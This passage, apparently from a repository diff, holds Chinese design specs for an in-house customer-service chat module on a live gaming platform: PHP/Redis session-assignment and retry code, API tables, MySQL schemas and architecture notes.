* @return int|null 分配的客服ID,null表示无可用客服
|
||||
*/
|
||||
public function assignSession(int $userId, int $sessionId): ?int
|
||||
{
|
||||
$redis = $this->getRedis();
|
||||
$lockKey = self::LOCK_PREFIX . $userId;
|
||||
|
||||
// 1. 获取分配锁 (防止并发双分配)
|
||||
$lockValue = uniqid('', true);
|
||||
$acquired = $redis->set($lockKey, $lockValue, ['NX', 'PX' => self::LOCK_TTL]);
|
||||
|
||||
if (!$acquired) {
|
||||
// 锁被占用,检查是否已有活跃会话
|
||||
return $this->getExistingSessionAgent($userId);
|
||||
}
|
||||
|
||||
try {
|
||||
// 2. 检查用户是否已有活跃会话
|
||||
$existingAgent = $this->getExistingSessionAgent($userId);
|
||||
if ($existingAgent !== null) {
|
||||
return $existingAgent;
|
||||
}
|
||||
|
||||
// 3. 获取所有在线客服
|
||||
$onlineAgents = $this->getOnlineAgents($redis);
|
||||
if (empty($onlineAgents)) {
|
||||
// 无在线客服,进入留言队列
|
||||
$this->addToOfflineQueue($userId, $sessionId);
|
||||
return null;
|
||||
}
|
||||
|
||||
// 4. 选择会话数最少的客服
|
||||
$selectedAgent = $this->selectLeastLoadAgent($redis, $onlineAgents);
|
||||
if ($selectedAgent === null) {
|
||||
// 所有客服已满载
|
||||
$this->addToOfflineQueue($userId, $sessionId);
|
||||
return null;
|
||||
}
|
||||
|
||||
// 5. 更新会话归属
|
||||
$this->bindSessionToAgent($sessionId, $selectedAgent, $redis);
|
||||
|
||||
// 6. 增加客服负载计数
|
||||
$redis->incr(self::LOAD_PREFIX . $selectedAgent);
|
||||
|
||||
return $selectedAgent;
|
||||
|
||||
} finally {
|
||||
// 释放锁 (仅释放自己持有的锁)
|
||||
$this->releaseLock($redis, $lockKey, $lockValue);
|
||||
}
|
||||
}
|
||||
|
||||
private function selectLeastLoadAgent(Redis $redis, array $onlineAgents): ?int
|
||||
{
|
||||
$loads = [];
|
||||
foreach ($onlineAgents as $agentId) {
|
||||
$load = (int)$redis->get(self::LOAD_PREFIX . $agentId) ?: 0;
|
||||
$maxSessions = $this->getAgentMaxSessions($agentId);
|
||||
|
||||
if ($load < $maxSessions) {
|
||||
$loads[$agentId] = $load;
|
||||
}
|
||||
}
|
||||
|
||||
if (empty($loads)) {
|
||||
return null;
|
||||
}
|
||||
|
||||
// 返回负载最小的客服
|
||||
asort($loads);
|
||||
return array_key_first($loads);
|
||||
}
|
||||
|
||||
private function releaseLock(Redis $redis, string $key, string $value): void
|
||||
{
|
||||
// Lua脚本保证原子性:仅当值匹配时才删除
|
||||
$script = <<<LUA
|
||||
if redis.call('get', KEYS[1]) == ARGV[1] then
|
||||
return redis.call('del', KEYS[1])
|
||||
else
|
||||
return 0
|
||||
end
|
||||
LUA;
|
||||
$redis->eval($script, [$key, $value], 1);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 3.3 消息重试算法 (指数退避)
|
||||
|
||||
```php
|
||||
// app/services/chat/MessageService.php
|
||||
class MessageService
|
||||
{
|
||||
private const MAX_RETRY = 3;
|
||||
private const RETRY_DELAYS = [1000, 2000, 4000]; // ms
|
||||
|
||||
/**
|
||||
* 推送消息并处理重试
|
||||
*/
|
||||
public function pushMessage(int $msgId, int $targetFd, array $payload): bool
|
||||
{
|
||||
$redis = $this->getRedis();
|
||||
$server = $this->getSwooleServer();
|
||||
|
||||
for ($retry = 0; $retry <= self::MAX_RETRY; $retry++) {
|
||||
// 检查目标连接是否有效
|
||||
if (!$server->isEstablished($targetFd)) {
|
||||
// 连接已断开,标记为pending等待重连补发
|
||||
$this->markMessagePending($msgId);
|
||||
return false;
|
||||
}
|
||||
|
||||
// 尝试推送
|
||||
$result = $server->push($targetFd, json_encode($payload));
|
||||
|
||||
if ($result) {
|
||||
// 推送成功,更新状态为sent
|
||||
$this->updateMessageStatus($msgId, 'sent');
|
||||
return true;
|
||||
}
|
||||
|
||||
// 推送失败,记录重试次数
|
||||
$this->incrementRetryCount($msgId);
|
||||
|
||||
if ($retry < self::MAX_RETRY) {
|
||||
// 指数退避等待
|
||||
usleep(self::RETRY_DELAYS[$retry] * 1000);
|
||||
}
|
||||
}
|
||||
|
||||
// 超过最大重试次数,标记为failed
|
||||
$this->updateMessageStatus($msgId, 'failed');
|
||||
return false;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 3.4 离线队列处理 (余额优先)
|
||||
|
||||
```php
|
||||
// app/services/chat/AssignService.php (续)
|
||||
class AssignService
|
||||
{
|
||||
private const QUEUE_KEY = 'cs:queue:pending';
|
||||
|
||||
/**
|
||||
* 添加到离线队列 (按余额降序)
|
||||
*/
|
||||
public function addToOfflineQueue(int $userId, int $sessionId): void
|
||||
{
|
||||
$redis = $this->getRedis();
|
||||
|
||||
// 获取用户余额
|
||||
$user = Db::name('user')->where('id', $userId)->find();
|
||||
$balance = $user['money'] ?? 0;
|
||||
|
||||
// ZSET score 使用负余额实现降序 (余额高的先处理)
|
||||
$score = -$balance;
|
||||
$member = json_encode(['userId' => $userId, 'sessionId' => $sessionId, 'time' => time()]);
|
||||
|
||||
$redis->zAdd(self::QUEUE_KEY, $score, $member);
|
||||
}
|
||||
|
||||
/**
|
||||
* 客服上线时处理队列
|
||||
*/
|
||||
public function processOfflineQueue(int $adminId): void
|
||||
{
|
||||
$redis = $this->getRedis();
|
||||
|
||||
while (true) {
|
||||
// 获取队列中优先级最高的会话 (score最小 = 余额最高)
|
||||
$items = $redis->zRange(self::QUEUE_KEY, 0, 0);
|
||||
|
||||
if (empty($items)) {
|
||||
break; // 队列为空
|
||||
}
|
||||
|
||||
$item = json_decode($items[0], true);
|
||||
|
||||
// 检查客服是否还能接单
|
||||
$currentLoad = (int)$redis->get(self::LOAD_PREFIX . $adminId) ?: 0;
|
||||
$maxSessions = $this->getAgentMaxSessions($adminId);
|
||||
|
||||
if ($currentLoad >= $maxSessions) {
|
||||
break; // 客服已满载
|
||||
}
|
||||
|
||||
// 尝试分配 (使用分布式锁)
|
||||
$assigned = $this->assignSession($item['userId'], $item['sessionId']);
|
||||
|
||||
if ($assigned === $adminId) {
|
||||
// 分配成功,从队列移除
|
||||
$redis->zRem(self::QUEUE_KEY, $items[0]);
|
||||
|
||||
// 通知用户会话已被接入
|
||||
$this->notifyUserSessionAssigned($item['userId'], $item['sessionId'], $adminId);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 4. 接口设计
|
||||
|
||||
### 4.1 Admin 后台 HTTP API
|
||||
|
||||
| 接口 | 方法 | 路径 | 说明 |
|
||||
|------|------|------|------|
|
||||
| 获取会话列表 | GET | `/admin/chat/sessions` | 支持状态筛选 |
|
||||
| 获取会话详情 | GET | `/admin/chat/session/{id}` | 包含用户信息 |
|
||||
| 获取消息历史 | GET | `/admin/chat/messages` | 支持分页、搜索 |
|
||||
| 结束会话 | POST | `/admin/chat/session/{id}/end` | 手动关闭会话 |
|
||||
| 转接会话 | POST | `/admin/chat/session/{id}/transfer` | 转给其他客服 |
|
||||
| 快捷回复列表 | GET | `/admin/chat/quick-replies` | CRUD |
|
||||
| 添加快捷回复 | POST | `/admin/chat/quick-reply` | - |
|
||||
| 编辑快捷回复 | PUT | `/admin/chat/quick-reply/{id}` | - |
|
||||
| 删除快捷回复 | DELETE | `/admin/chat/quick-reply/{id}` | - |
|
||||
| 客服统计 | GET | `/admin/chat/stats` | 会话数、评分统计 |
|
||||
| 导出记录 | GET | `/admin/chat/export` | CSV导出 |
|
||||
|
||||
### 4.2 用户端 HTTP API
|
||||
|
||||
| 接口 | 方法 | 路径 | 说明 |
|
||||
|------|------|------|------|
|
||||
| 获取会话状态 | GET | `/api/chat/status` | 检查是否有活跃会话 |
|
||||
| 上传图片 | POST | `/api/chat/upload` | 返回图片URL |
|
||||
| 提交评价 | POST | `/api/chat/rate` | 会话评价 |
|
||||
| 获取历史消息 | GET | `/api/chat/history` | 重连后拉取 |
|
||||
|
||||
---
|
||||
|
||||
## 5. 文件结构
|
||||
|
||||
### 5.1 Socket 模块
|
||||
|
||||
```
|
||||
Socket/app/
|
||||
├── listener/chat/
|
||||
│ ├── ChatConnectListener.php # 连接/断开/心跳处理
|
||||
│ ├── ChatMessageListener.php # 消息收发处理
|
||||
│ └── ChatSessionListener.php # 会话管理处理
|
||||
├── services/chat/
|
||||
│ ├── ChatService.php # 聊天服务入口
|
||||
│ ├── MessageService.php # 消息服务
|
||||
│ ├── SessionService.php # 会话服务
|
||||
│ └── AssignService.php # 分配服务
|
||||
├── models/
|
||||
│ ├── ChatSession.php # 会话模型
|
||||
│ ├── ChatMessage.php # 消息模型
|
||||
│ └── ChatQuickReply.php # 快捷回复模型
|
||||
└── utils/
|
||||
└── Snowflake.php # 雪花算法
|
||||
```
|
||||
|
||||
### 5.2 Pro 模块 (Admin后台)
|
||||
|
||||
```
|
||||
Pro/application/admin/
|
||||
├── controller/
|
||||
│ ├── Chat.php # 客服工作台控制器
|
||||
│ ├── ChatRecord.php # 聊天记录控制器
|
||||
│ └── ChatQuickReply.php # 快捷回复控制器
|
||||
└── view/
|
||||
├── chat/
|
||||
│ ├── index.html # 客服工作台页面
|
||||
│ └── record.html # 聊天记录页面
|
||||
└── chat_quick_reply/
|
||||
├── index.html # 快捷回复列表
|
||||
└── add.html # 添加快捷回复
|
||||
```
|
||||
|
||||
### 5.3 前端模块
|
||||
|
||||
```
|
||||
PC/src/components/chat/
|
||||
├── ChatWindow.vue # 聊天窗口容器
|
||||
├── ChatHeader.vue # 聊天头部(客服信息/关闭)
|
||||
├── ChatMessages.vue # 消息列表
|
||||
├── ChatMessage.vue # 单条消息气泡
|
||||
├── ChatInput.vue # 输入框+发送
|
||||
└── ChatRating.vue # 评价组件
|
||||
|
||||
Game/src/components/chat/
|
||||
├── ChatWindow.vue # 聊天窗口(Vant风格)
|
||||
├── ChatMessages.vue # 消息列表
|
||||
├── ChatMessage.vue # 消息气泡
|
||||
└── ChatInput.vue # 输入框
|
||||
|
||||
Portal/components/chat/
|
||||
├── ChatWindow.vue # 聊天窗口(uView风格)
|
||||
├── ChatMessages.vue # 消息列表
|
||||
└── ChatInput.vue # 输入框
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 6. 安全设计
|
||||
|
||||
### 6.1 认证与授权
|
||||
|
||||
| 场景 | 方案 |
|
||||
|------|------|
|
||||
| 用户端WS连接 | 复用HTTP登录Token,WS握手时校验 |
|
||||
| 客服端WS连接 | 复用Admin Session,额外校验客服权限 |
|
||||
| 消息发送 | 服务端强制使用鉴权后的身份,禁止伪造senderId |
|
||||
|
||||
### 6.2 输入校验
|
||||
|
||||
| 字段 | 校验规则 |
|
||||
|------|----------|
|
||||
| 文字消息 | 长度≤500,XSS过滤 |
|
||||
| 图片上传 | MIME白名单(jpg/png/gif),大小≤2MB |
|
||||
| sessionId | 必须属于当前用户或客服 |
|
||||
|
||||
### 6.3 限流
|
||||
|
||||
| 维度 | 限制 |
|
||||
|------|------|
|
||||
| 消息发送 | 每用户每秒最多5条 |
|
||||
| 图片上传 | 每用户每分钟最多10张 |
|
||||
| WS重连 | 每用户每分钟最多10次 |
|
||||
|
||||
---
|
||||
|
||||
*文档版本: 2.0*
|
||||
*最后更新: 2026-01-28*
|
||||
@@ -0,0 +1,396 @@
|
||||
# OPSX Proposal: 在线客服模块集成
|
||||
|
||||
## 变更标识
|
||||
- **变更ID**: customer-service-module
|
||||
- **创建日期**: 2026-01-28
|
||||
- **状态**: SPEC_COMPLETE
|
||||
|
||||
---
|
||||
|
||||
## 1. 上下文 (Context)
|
||||
|
||||
### 1.1 用户需求
|
||||
在OG Live Gaming Platform的admin后台集成在线客服模块,将PC端和移动端(Game/Portal)的客服功能从外链跳转改为内置实时聊天,所有用户消息统一转发到后台由客服人员回复。
|
||||
|
||||
### 1.2 现有实现
|
||||
- **当前方案**: 外链跳转第三方客服平台
|
||||
- PC端: `PC/src/components/updateService/update-service.vue` - 通过 `webconfig.customerLink` 跳转
|
||||
- Portal端: `Portal/pages/user/customservice.vue` - 支持 Telegram/Line 外部链接
|
||||
- **问题**: 无法统一管理用户咨询,缺乏历史记录追溯
|
||||
|
||||
### 1.3 技术环境
|
||||
| 组件 | 技术栈 | 版本 |
|
||||
|------|--------|------|
|
||||
| 后端主服务 | ThinkPHP | 5.x |
|
||||
| WebSocket服务 | ThinkPHP + Swoole | 6.x |
|
||||
| PC前端 | Vue.js + Element UI | 2.x |
|
||||
| Game前端 | Vue.js + Vant | 3.x |
|
||||
| Portal前端 | uni-app + uView | - |
|
||||
| 数据库 | MySQL | 5.7 |
|
||||
| 缓存 | Redis | 5.x |
|
||||
|
||||
---
|
||||
|
||||
## 2. 约束集合 (Constraint Sets)
|
||||
|
||||
### 2.1 硬约束 (Hard Constraints) - 不可违反
|
||||
|
||||
| ID | 约束 | 来源 | 影响 |
|
||||
|----|------|------|------|
|
||||
| HC-01 | 必须使用现有Socket服务(ThinkPHP 6.x + Swoole)作为WebSocket通信基础 | 架构一致性 | 不能引入新的WebSocket服务 |
|
||||
| HC-02 | 数据库表必须使用 `cg_` 前缀 | `application/database.php:23` | 表名规范 |
|
||||
| HC-03 | Admin后台控制器必须继承 `Common` 基类 | `application/admin/controller/Common.php` | 权限控制 |
|
||||
| HC-04 | 前端API请求必须通过现有封装的HTTP客户端 | 各端API封装 | 接口一致性 |
|
||||
| HC-05 | 用户认证必须复用现有Session/Token机制 | 安全性 | 不能引入新认证体系 |
|
||||
|
||||
### 2.2 软约束 (Soft Constraints) - 建议遵循
|
||||
|
||||
| ID | 约束 | 来源 | 建议 |
|
||||
|----|------|------|------|
|
||||
| SC-01 | Admin后台UI应使用Layui框架 | 现有后台风格 | 保持视觉一致性 |
|
||||
| SC-02 | WebSocket事件应遵循现有listener模式 | `Socket/app/listener/` | 代码组织一致 |
|
||||
| SC-03 | 前端组件命名应遵循各端现有规范 | 代码风格 | PascalCase组件名 |
|
||||
| SC-04 | 日志记录应使用现有 `insertAdminLog()` 函数 | `application/helper.php` | 审计追踪 |
|
||||
|
||||
### 2.3 依赖约束 (Dependencies)
|
||||
|
||||
| ID | 依赖项 | 类型 | 说明 |
|
||||
|----|--------|------|------|
|
||||
| DC-01 | cg_user 表 | 数据 | 用户信息关联 |
|
||||
| DC-02 | cg_admin 表 | 数据 | 客服人员账号 |
|
||||
| DC-03 | Redis | 基础设施 | 在线状态、会话分配 |
|
||||
| DC-04 | Socket服务 | 服务 | 实时消息推送 |
|
||||
|
||||
---
|
||||
|
||||
## 3. 需求规格 (Requirements)
|
||||
|
||||
### 3.1 功能需求
|
||||
|
||||
#### REQ-01: 后台客服工作台
|
||||
**场景**: 客服人员登录admin后台,进入客服模块
|
||||
**验收标准**:
|
||||
- [ ] 显示待接入会话列表(按等待时间排序)
|
||||
- [ ] 显示当前处理中的会话列表
|
||||
- [ ] 支持同时处理多个会话(标签页切换)
|
||||
- [ ] 实时显示新消息通知(声音+视觉提示)
|
||||
- [ ] 显示用户基本信息(用户名、余额、来源端)
|
||||
|
||||
#### REQ-02: 会话自动分配
|
||||
**场景**: 用户发起客服咨询
|
||||
**验收标准**:
|
||||
- [ ] 系统自动将用户分配给当前会话数最少的在线客服
|
||||
- [ ] 客服离线时,消息进入待分配队列
|
||||
- [ ] 支持会话转接给其他在线客服
|
||||
- [ ] 记录会话分配历史
|
||||
|
||||
#### REQ-03: 实时消息通信
|
||||
**场景**: 用户与客服进行对话
|
||||
**验收标准**:
|
||||
- [ ] 支持文字消息发送/接收
|
||||
- [ ] 支持图片消息发送/接收(上传+预览)
|
||||
- [ ] 消息实时推送(延迟<500ms)
|
||||
- [ ] 显示消息发送状态(发送中/已送达/已读)
|
||||
- [ ] 支持消息时间戳显示
|
||||
|
||||
#### REQ-04: 离线消息
|
||||
**场景**: 用户发送消息时客服全部离线,或客服回复时用户已离线
|
||||
**验收标准**:
|
||||
- [ ] 离线消息持久化存储
|
||||
- [ ] 用户/客服上线后自动推送未读消息
|
||||
- [ ] 显示未读消息数量角标
|
||||
|
||||
#### REQ-05: 快捷回复
|
||||
**场景**: 客服需要快速回复常见问题
|
||||
**验收标准**:
|
||||
- [ ] 支持预设快捷回复语管理(增删改)
|
||||
- [ ] 支持快捷回复分类
|
||||
- [ ] 一键插入快捷回复内容
|
||||
|
||||
#### REQ-06: 聊天记录查询
|
||||
**场景**: 客服或管理员需要查看历史对话
|
||||
**验收标准**:
|
||||
- [ ] 支持按用户名搜索
|
||||
- [ ] 支持按时间范围筛选
|
||||
- [ ] 支持按客服人员筛选
|
||||
- [ ] 支持导出聊天记录
|
||||
|
||||
#### REQ-07: 用户信息展示
|
||||
**场景**: 客服处理会话时需要了解用户背景
|
||||
**验收标准**:
|
||||
- [ ] 显示用户账号、昵称
|
||||
- [ ] 显示用户余额
|
||||
- [ ] 显示用户来源(PC/Game/Portal)
|
||||
- [ ] 显示用户上级代理信息
|
||||
- [ ] 显示用户最近下注记录(可选)
|
||||
|
||||
#### REQ-08: 会话评价
|
||||
**场景**: 用户结束咨询后对服务进行评价
|
||||
**验收标准**:
|
||||
- [ ] 会话结束后弹出评价窗口
|
||||
- [ ] 支持1-5星评分
|
||||
- [ ] 支持文字评价(可选)
|
||||
- [ ] 后台可查看评价统计
|
||||
|
||||
#### REQ-09: 前端客服入口改造
|
||||
**场景**: 用户在PC/Game/Portal端点击客服按钮
|
||||
**验收标准**:
|
||||
- [ ] PC端: 替换外链跳转为内嵌聊天窗口
|
||||
- [ ] Game端: 添加客服聊天组件
|
||||
- [ ] Portal端: 替换外链页面为聊天页面
|
||||
- [ ] 三端UI风格与各自设计语言一致
|
||||
|
||||
---
|
||||
|
||||
## 4. 数据库设计
|
||||
|
||||
### 4.1 新增表结构
|
||||
|
||||
```sql
|
||||
-- 客服会话表
|
||||
CREATE TABLE `cg_chat_session` (
|
||||
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
|
||||
`user_id` int(10) unsigned NOT NULL COMMENT '用户ID',
|
||||
`admin_id` int(10) unsigned DEFAULT NULL COMMENT '客服ID',
|
||||
`source` tinyint(1) NOT NULL DEFAULT '1' COMMENT '来源: 1=PC 2=Game 3=Portal',
|
||||
`status` tinyint(1) NOT NULL DEFAULT '0' COMMENT '状态: 0=待分配 1=进行中 2=已结束',
|
||||
`rating` tinyint(1) DEFAULT NULL COMMENT '评分: 1-5',
|
||||
`rating_content` varchar(500) DEFAULT NULL COMMENT '评价内容',
|
||||
`create_time` int(10) unsigned NOT NULL,
|
||||
`update_time` int(10) unsigned NOT NULL,
|
||||
`end_time` int(10) unsigned DEFAULT NULL,
|
||||
PRIMARY KEY (`id`),
|
||||
KEY `user_id` (`user_id`),
|
||||
KEY `admin_id` (`admin_id`),
|
||||
KEY `status` (`status`),
|
||||
KEY `create_time` (`create_time`)
|
||||
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COMMENT='客服会话表';
|
||||
|
||||
-- 聊天消息表
|
||||
CREATE TABLE `cg_chat_message` (
|
||||
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
|
||||
`session_id` int(10) unsigned NOT NULL COMMENT '会话ID',
|
||||
`sender_type` tinyint(1) NOT NULL COMMENT '发送者类型: 1=用户 2=客服',
|
||||
`sender_id` int(10) unsigned NOT NULL COMMENT '发送者ID',
|
||||
`msg_type` tinyint(1) NOT NULL DEFAULT '1' COMMENT '消息类型: 1=文字 2=图片',
|
||||
`content` text NOT NULL COMMENT '消息内容',
|
||||
`is_read` tinyint(1) NOT NULL DEFAULT '0' COMMENT '是否已读',
|
||||
`create_time` int(10) unsigned NOT NULL,
|
||||
PRIMARY KEY (`id`),
|
||||
KEY `session_id` (`session_id`),
|
||||
KEY `sender_type` (`sender_type`),
|
||||
KEY `is_read` (`is_read`),
|
||||
KEY `create_time` (`create_time`)
|
||||
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COMMENT='聊天消息表';
|
||||
|
||||
-- 快捷回复表
|
||||
CREATE TABLE `cg_chat_quick_reply` (
|
||||
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
|
||||
`category` varchar(50) DEFAULT NULL COMMENT '分类',
|
||||
`title` varchar(100) NOT NULL COMMENT '标题',
|
||||
`content` text NOT NULL COMMENT '内容',
|
||||
`sort` int(10) unsigned NOT NULL DEFAULT '0' COMMENT '排序',
|
||||
`status` tinyint(1) NOT NULL DEFAULT '1' COMMENT '状态',
|
||||
`create_time` int(10) unsigned NOT NULL,
|
||||
PRIMARY KEY (`id`),
|
||||
KEY `category` (`category`),
|
||||
KEY `status` (`status`)
|
||||
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COMMENT='快捷回复表';
|
||||
|
||||
-- 客服在线状态表 (Redis辅助)
|
||||
CREATE TABLE `cg_chat_admin_status` (
|
||||
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
|
||||
`admin_id` int(10) unsigned NOT NULL COMMENT '客服ID',
|
||||
`is_online` tinyint(1) NOT NULL DEFAULT '0' COMMENT '是否在线',
|
||||
`current_sessions` int(10) unsigned NOT NULL DEFAULT '0' COMMENT '当前会话数',
|
||||
`max_sessions` int(10) unsigned NOT NULL DEFAULT '10' COMMENT '最大会话数',
|
||||
`last_active_time` int(10) unsigned DEFAULT NULL,
|
||||
PRIMARY KEY (`id`),
|
||||
UNIQUE KEY `admin_id` (`admin_id`)
|
||||
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COMMENT='客服状态表';
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 5. 技术方案
|
||||
|
||||
### 5.1 架构图
|
||||
|
||||
```
|
||||
┌─────────────┐ ┌─────────────┐ ┌─────────────┐
|
||||
│ PC端 │ │ Game端 │ │ Portal端 │
|
||||
│ (Vue 2.x) │ │ (Vue 3.x) │ │ (uni-app) │
|
||||
└──────┬──────┘ └──────┬──────┘ └──────┬──────┘
|
||||
│ │ │
|
||||
└────────────────┼────────────────┘
|
||||
│ WebSocket
|
||||
▼
|
||||
┌─────────────────┐
|
||||
│ Socket服务 │
|
||||
│ (TP6 + Swoole) │
|
||||
│ │
|
||||
│ 新增listener: │
|
||||
│ - ChatConnect │
|
||||
│ - ChatMessage │
|
||||
│ - ChatSession │
|
||||
└────────┬────────┘
|
||||
│
|
||||
┌─────────────┼─────────────┐
|
||||
│ │ │
|
||||
▼ ▼ ▼
|
||||
┌──────────┐ ┌──────────┐ ┌──────────┐
|
||||
│ MySQL │ │ Redis │ │ 文件存储 │
|
||||
│ 消息持久化│ │ 在线状态 │ │ 图片上传 │
|
||||
└──────────┘ └──────────┘ └──────────┘
|
||||
│
|
||||
▼
|
||||
┌─────────────────┐
|
||||
│ Admin后台 │
|
||||
│ (TP5 + Layui) │
|
||||
│ │
|
||||
│ 新增模块: │
|
||||
│ - Chat控制器 │
|
||||
│ - 客服工作台 │
|
||||
│ - 快捷回复管理 │
|
||||
│ - 聊天记录查询 │
|
||||
└─────────────────┘
|
||||
```
|
||||
|
||||
### 5.2 WebSocket事件设计
|
||||
|
||||
| 事件名 | 方向 | 说明 |
|
||||
|--------|------|------|
|
||||
| `chat.connect` | Client→Server | 用户/客服建立聊天连接 |
|
||||
| `chat.message` | 双向 | 发送/接收消息 |
|
||||
| `chat.typing` | 双向 | 正在输入状态 |
|
||||
| `chat.read` | Client→Server | 消息已读回执 |
|
||||
| `chat.session.new` | Server→Admin | 新会话通知 |
|
||||
| `chat.session.assign` | Server→Admin | 会话分配通知 |
|
||||
| `chat.session.transfer` | Admin→Server | 会话转接 |
|
||||
| `chat.session.end` | 双向 | 会话结束 |
|
||||
| `chat.admin.online` | Admin→Server | 客服上线 |
|
||||
| `chat.admin.offline` | Admin→Server | 客服下线 |
|
||||
|
||||
### 5.3 文件变更清单
|
||||
|
||||
#### Pro模块 (Admin后台)
|
||||
```
|
||||
application/admin/controller/
|
||||
├── Chat.php # 新增 - 客服工作台控制器
|
||||
├── ChatRecord.php # 新增 - 聊天记录控制器
|
||||
└── ChatQuickReply.php # 新增 - 快捷回复管理控制器
|
||||
|
||||
application/admin/view/
|
||||
├── chat/
|
||||
│ ├── index.html # 新增 - 客服工作台页面
|
||||
│ └── record.html # 新增 - 聊天记录页面
|
||||
└── chat_quick_reply/
|
||||
├── index.html # 新增 - 快捷回复列表
|
||||
└── add.html # 新增 - 添加快捷回复
|
||||
|
||||
application/admin/view/index/index.html # 修改 - 添加客服菜单入口
|
||||
```
|
||||
|
||||
#### Socket模块
|
||||
```
|
||||
app/listener/chat/
|
||||
├── ChatConnect.php # 新增 - 聊天连接处理
|
||||
├── ChatMessage.php # 新增 - 消息处理
|
||||
└── ChatSession.php # 新增 - 会话管理
|
||||
|
||||
app/services/chat/
|
||||
├── ChatService.php # 新增 - 聊天核心服务
|
||||
├── SessionService.php # 新增 - 会话分配服务
|
||||
└── MessageService.php # 新增 - 消息存储服务
|
||||
|
||||
app/models/chat/
|
||||
├── ChatSession.php # 新增 - 会话模型
|
||||
├── ChatMessage.php # 新增 - 消息模型
|
||||
└── ChatQuickReply.php # 新增 - 快捷回复模型
|
||||
```
|
||||
|
||||
#### PC端
|
||||
```
|
||||
src/components/chat/
|
||||
├── ChatWindow.vue # 新增 - 聊天窗口组件
|
||||
├── ChatMessage.vue # 新增 - 消息气泡组件
|
||||
└── ChatInput.vue # 新增 - 输入框组件
|
||||
|
||||
src/components/updateService/
|
||||
└── update-service.vue # 修改 - 改为打开聊天窗口
|
||||
```
|
||||
|
||||
#### Game端
|
||||
```
|
||||
src/components/chat/
|
||||
├── ChatWindow.vue # 新增 - 聊天窗口组件
|
||||
├── ChatMessage.vue # 新增 - 消息气泡组件
|
||||
└── ChatInput.vue # 新增 - 输入框组件
|
||||
|
||||
src/components/
|
||||
└── HallNav.vue # 修改 - 添加客服入口
|
||||
```
|
||||
|
||||
#### Portal端
|
||||
```
|
||||
pages/user/
|
||||
└── customservice.vue # 修改 - 改为聊天页面
|
||||
|
||||
components/chat/
|
||||
├── ChatWindow.vue # 新增 - 聊天窗口组件
|
||||
└── ChatMessage.vue # 新增 - 消息组件
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 6. 风险评估
|
||||
|
||||
| 风险 | 等级 | 缓解措施 |
|
||||
|------|------|----------|
|
||||
| WebSocket连接数过多导致服务压力 | 中 | 实现连接池、心跳检测、自动断开空闲连接 |
|
||||
| 消息丢失 | 中 | 消息持久化优先、ACK确认机制 |
|
||||
| 图片上传占用存储 | 低 | 图片压缩、定期清理、可配置存储路径 |
|
||||
| 客服全部离线时用户体验 | 低 | 显示离线提示、支持留言 |
|
||||
|
||||
---
|
||||
|
||||
## 7. 成功判据 (Success Criteria)
|
||||
|
||||
- [ ] 用户可在PC/Game/Portal三端发起客服咨询
|
||||
- [ ] 客服可在Admin后台实时接收和回复消息
|
||||
- [ ] 消息延迟 < 500ms
|
||||
- [ ] 支持文字和图片消息
|
||||
- [ ] 离线消息可正常存储和推送
|
||||
- [ ] 会话自动分配正常工作
|
||||
- [ ] 聊天记录可查询和导出
|
||||
- [ ] 快捷回复功能正常
|
||||
- [ ] 会话评价功能正常
|
||||
|
||||
---
|
||||
|
||||
## 8. 实施阶段建议
|
||||
|
||||
### Phase 1: 基础架构
|
||||
- 数据库表创建
|
||||
- Socket服务聊天事件监听器
|
||||
- 基础消息收发功能
|
||||
|
||||
### Phase 2: Admin后台
|
||||
- 客服工作台UI
|
||||
- 会话管理
|
||||
- 快捷回复管理
|
||||
|
||||
### Phase 3: 前端改造
|
||||
- PC端聊天组件
|
||||
- Game端聊天组件
|
||||
- Portal端聊天页面
|
||||
|
||||
### Phase 4: 增强功能
|
||||
- 离线消息
|
||||
- 会话评价
|
||||
- 聊天记录查询导出
|
||||
|
||||
---
|
||||
|
||||
*文档版本: 1.0*
|
||||
*最后更新: 2026-01-28*
|
||||
@@ -0,0 +1,248 @@
|
||||
# OPSX Specs: 在线客服模块
|
||||
|
||||
## 变更标识
|
||||
- **变更ID**: customer-service-module
|
||||
- **版本**: 2.0
|
||||
- **状态**: SPEC_COMPLETE
|
||||
- **更新日期**: 2026-01-28
|
||||
|
||||
---
|
||||
|
||||
## 1. 确认约束 (Confirmed Constraints)
|
||||
|
||||
### 1.1 会话分配约束
|
||||
|
||||
| 约束ID | 约束 | 值 | 说明 |
|
||||
|--------|------|-----|------|
|
||||
| CC-01 | 分配策略 | least-load | 分配给当前会话数最少的在线客服 |
|
||||
| CC-02 | 分配锁超时 | 3000ms | SET NX PX 3000 防止并发双分配 |
|
||||
| CC-03 | 单客服最大会话数 | 10 | 超过后不再分配新会话 |
|
||||
| CC-04 | 分配锁Key | `cs:lock:assign:{userId}` | Redis分布式锁 |
|
||||
|
||||
### 1.2 消息机制约束
|
||||
|
||||
| 约束ID | 约束 | 值 | 说明 |
|
||||
|--------|------|-----|------|
|
||||
| CC-05 | 送达确认 | 两段ACK | server-ack(服务端已接收) + peer-ack(对端已送达) |
|
||||
| CC-06 | 重试策略 | 3次指数退避 | 间隔: 1s → 2s → 4s,失败后标记failed |
|
||||
| CC-07 | 消息ID生成 | 雪花算法 | 分布式唯一、有序、高性能 |
|
||||
| CC-08 | 消息长度限制 | 500字符 | 超过截断或拒绝 |
|
||||
| CC-09 | 重连拉取上限 | 50条 | 用户重连后最多拉取50条未读消息 |
|
||||
|
||||
### 1.3 连接管理约束
|
||||
|
||||
| 约束ID | 约束 | 值 | 说明 |
|
||||
|--------|------|-----|------|
|
||||
| CC-10 | 心跳间隔 | 30秒 | 客户端每30秒发送ping |
|
||||
| CC-11 | 离线判定 | 60秒 | 60秒无心跳判定为离线 |
|
||||
| CC-12 | 事件命名空间 | `chat.*` | 与游戏事件 `game.*` 隔离 |
|
||||
